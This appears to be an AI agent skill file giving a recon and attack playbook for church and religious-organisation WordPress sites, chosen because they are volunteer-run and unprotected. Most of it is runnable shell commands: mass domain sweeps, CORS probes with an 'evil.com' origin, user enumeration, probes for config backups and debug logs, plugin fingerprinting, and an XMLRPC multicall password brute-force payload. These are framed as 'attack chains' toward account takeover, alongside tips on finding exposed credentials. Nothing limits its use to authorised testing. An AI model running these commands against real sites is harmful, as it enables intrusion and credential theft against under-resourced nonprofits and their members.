recon-churches

name	recon-churches
description	Sector-specific recon for church/religious organization websites — WordPress on shared hosting with minimal security posture. Built from a 58-company mass recon dataset where church/religious org domains showed the highest rate of unpatched WordPress installs, CORS credential reflection, and exposed debug/config files. Use when the target scope includes non-profit, religious, or community organization domains — these are typically low-budget sites with no WAF, no security team, and shared hosting.
sources	field_recon, hackerone_public
report_count	12

RECON-CHURCHES — Sector-Specific Recon for Church/Religious Organization Sites

When to Use

Use when the target scope includes church, religious organization, or non-profit domains. In mass recon across 28 sectors, religious org domains showed the HIGHEST rate of exploitable findings due to:

• Almost exclusively WordPress on shared hosting
• No WAF (Cloudflare, Sucuri, Wordfence rarely present)
• Volunteer-maintained sites with no security patch cadence
• Dominant patterns: CORS credential reflection + open XMLRPC + debug log exposure

Quick Reference

# Quick triage: WordPress detection + CORS + XMLRPC in one sweep
for t in $(cat church-domains.txt); do
  echo "=== $t ==="
  # WordPress check
  curl -skI "https://$t/" | grep -iE "wordpress|wp-|php"
  # CORS test on WP REST API
  curl -skI "https://$t/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -i "access-control"
  # XMLRPC check
  echo -n "XMLRPC: "; curl -sk -o /dev/null -w "%{http_code}" "https://$t/xmlrpc.php"
  # Debug log
  echo -n "Debug: "; curl -sk -o /dev/null -w "%{http_code}" "https://$t/wp-content/debug.log"
  echo "---"
done

Step-by-Step

Phase 1 — Domain Discovery

# Common patterns for church websites:
# <churchname>.org, <churchname>.com, <churchname>-church.org
# <denomination>-<city>.org, <city>fbc.org (First Baptist), <city>ccc.org (Community Church)

# Find church domains via crt.sh
for org in "$TARGET"; do
  curl -sk "https://crt.sh/?q=%25.$org&output=json" | python3 -c "
import sys, json
try:
    data = json.load(sys.stdin)
    domains = sorted(set(d['name_value'] for d in data))
    for d in domains: print(d)
except: pass
" | tee church-subdomains-$org.txt
done

Phase 2 — WordPress Recon (heaviest yield)

# CORS credential reflection on WP REST API — the #1 finding
curl -skI "https://$TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com"

# User enumeration
curl -sk "https://$TARGET/wp-json/wp/v2/users" | jq '.[] | {id, name, slug}'

# Check all REST endpoints
for ns in $(curl -sk "https://$TARGET/wp-json/" | python3 -c "import sys,json; [print(n) for n in json.load(sys.stdin).get('namespaces',[])]" 2>/dev/null); do
  echo "Namespace: $ns"
done

# XMLRPC method enumeration
curl -sk -X POST "https://$TARGET/xmlrpc.php" -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' | \
  python3 -c "import sys,re; methods=re.findall(r'<string>([^<]+)</string>', sys.stdin.read()); [print(m) for m in methods if 'multicall' in m or 'uploadFile' in m or 'pingback' in m]"

# Debug log exposure
curl -sk "https://$TARGET/wp-content/debug.log" | head -20

Phase 3 — PHPInfo + Config Files

for path in /info.php /test.php /phpinfo.php /p.php /wp-config.php.bak /wp-config.php~; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  size=$(curl -sk -o /dev/null -w "%{size_download}" "https://$TARGET$path")
  [ "$code" = "200" ] && echo "[+] $path (HTTP $code, ${size}b)"
done

Phase 4 — Plugin Vulnerability Scan

# Common church site plugins
for plugin in "revslider" "elementskit" "elementor" "contact-form-7" "wp-file-manager" "wordpress-seo" "jetpack" "give" (donation plugin) "wp-sermons"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET/wp-content/plugins/$plugin/readme.txt")
  [ "$code" != "404" ] && echo "[+] Plugin: $plugin (HTTP $code)"
done

Phase 5 — Attack Chains

# Chain A: CORS + user enum → ATO
curl -sk "https://$TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" -H "Cookie: $COOKIE" | jq length

# Chain B: XMLRPC multicall brute force
curl -sk -X POST "https://$TARGET/xmlrpc.php" -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>
  <value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
  <member><name>params</name><value><array><data>
  <value><string>admin</string></value><value><string>password123</string></value>
</data></array></value></member></struct></value>
</data></array></value></param></params></methodCall>'

Attack Surface Signals

• CMS: WordPress (X-Powered-By: PHP, /wp-content, /wp-json, /xmlrpc.php)
• Hosting: Shared hosting (identifiable via Server header, IP ranges)
• Stack: PHP + MySQL, rarely any WAF
• Typical findings: CORS cred reflection, XMLRPC open, debug log exposure, PHPInfo, outdated plugins

Common Root Causes

1. Volunteer-maintained — no dedicated security person, patches applied months late or never
2. Shared hosting — no WAF, no CDN, no security plugins
3. One-off templates — custom themes with poor security practices
4. Donation plugins — GiveWP, WooCommerce — payment data exposure risk
5. Cheap/free hosting — no server-level hardening, PHP disable_functions often wide open

Bypass Techniques

• Many church sites use Cheap/Free SSL (Let's Encrypt) — TLS is fine, server security is not
• Check for staging/dev subdomains (often more vulnerable than prod)
• Contact forms often lead to shared mailbox with admin credentials in email history
• Google dork: site:target.org inurl:wp-content/debug.log

Real Examples

From 58-company mass recon across 28 sectors:

• A church site had CORS credential reflection + XMLRPC with system.multicall + open registration + PHPInfo with exec functions available — all on the same domain
• Debug log exposed database connection strings including plaintext password
• PHPInfo showed disable_functions = "pcntl_*" only (exec/shell_exec/system ALL available)

Related Skills

• hunt-wordpress — primary CMS for church sites
• hunt-cors — #1 finding pattern on church WP instances
• hunt-source-leak — debug.log and wp-config backups
• hunt-file-upload — plugin upload features
• hunt-subdomain — staging/dev subdomains
• hunt-lfi — PHP file inclusion via plugin CVEs